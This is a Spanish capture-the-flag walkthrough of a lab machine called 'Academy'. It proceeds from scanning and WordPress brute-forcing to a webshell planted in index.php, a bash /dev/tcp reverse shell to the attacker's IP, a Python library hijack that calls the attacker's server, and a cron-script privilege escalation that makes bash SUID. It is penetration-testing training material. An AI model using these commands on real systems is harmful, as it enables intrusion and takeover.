Máquina: Academy
SO: Linux
Dificultad: Facil
Descarga


img

1. Detecto los equipos activos en la red.

sudo arp-scan -l

img

2. Escaneo los puertos y detalles de los servicios que corre.

sudo nmap -p- --open -T5 -sCV --min-rate=5000 -n -Pn 192.168.1.9

img

3. En la web esta la web por defecto de Apache.

http://192.168.1.9

img

4. Fuzzing de directorios y ficheros en la web.

gobuster dir -u http://192.168.1.9/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

img

5. Analizando la web en /wordpress.

5.1- La pagina no carga correctamente

http://192.168.1.9/wordpress/

img

5.2- En su fuente veo que llama a un dominio

img

5.3- Agrego el dominio al hosts, ahora la carga es correcta

sudo nano /etc/hosts

192.168.1.9 academy.thl

img img

6. Sigo con mas fuzzing en la web, no encuentro mucho mas.

gobuster dir -u http://192.168.1.9/wordpress/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

img

7. Escaneo vulnerabilidades con wpscan, encuentra un usuario valido.

wpscan --url http://192.168.1.9/wordpress -e vp,u --api-token='pasteyourapi'

img

8. Hago fuerza bruta al login de wordpress.

wpscan --url http://192.168.1.9/wordpress -U dylan -P /usr/share/wordlists/rockyou.txt

img

9. Accedo al wordpress con las credenciales.

http://192.168.1.9/wordpress/wp-login.php

img

10. Obteniendo una webshell.

10.1- Clickamos en file manager, y editamos el index.php

img

10.2- Añadimos nuestro codigo para ejecutar webshell

shell_exec($_GET["cmd"]);

img

10.3- Probamos la ejecucion

academy.thl/wordpress/?cmd=cat /etc/passwd

img

11. Entablando conexion con una reverse shell.

11.1- Me pongo en escucha

sudo nc -nlvp 443

img

11.2- Me envio la reverse shell

http://academy.thl/wordpress/?cmd=bash -c "bash -i>%26 /dev/tcp/192.168.1.13/443 0>%261"

img

11.3- Recibo la conexion

img

12. Encuentro un script python, veo que no especifica la ruta completa de la libreria.

cd /opt

ls

cat backup.py

img

- Aparentemente realiza una conexion por ssh, pero al ejecutar nos da un error

13. Probando Python Library Hijacking.

13.1- Creo una script paramiko.py donde hare una peticion a mi servidor local

echo -e "import os\nos.system('curl -s http://192.168.1.13/prueba')" > paramiko.py

cat paramiko.py

img

13.2- Veo que si funciona, pero esto no tiene sentido ya que ejecutamos sin privilegio alguno, es como ejecutar el mismo paramiko.py

python3 -m http.server 80

python3 backup.py

img

14. Escalando privilegios.

14.1- Uso pspy64 para ver los procesos, al cabo de unos segundos veo que root busca ejecutar /opt/backup.sh wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -q chmod +x pspy64 ./pspy64

img

14.2- Creo el backup.sh con instrucciones para hacer suid el bash echo "chmod u+s /bin/bash" > backup.sh chmod +x backup.sh

img

14.3- Esperamos unos segundos para luego ejecutar bash -p ls -l /bin/bash bash -p

img


Finalizado.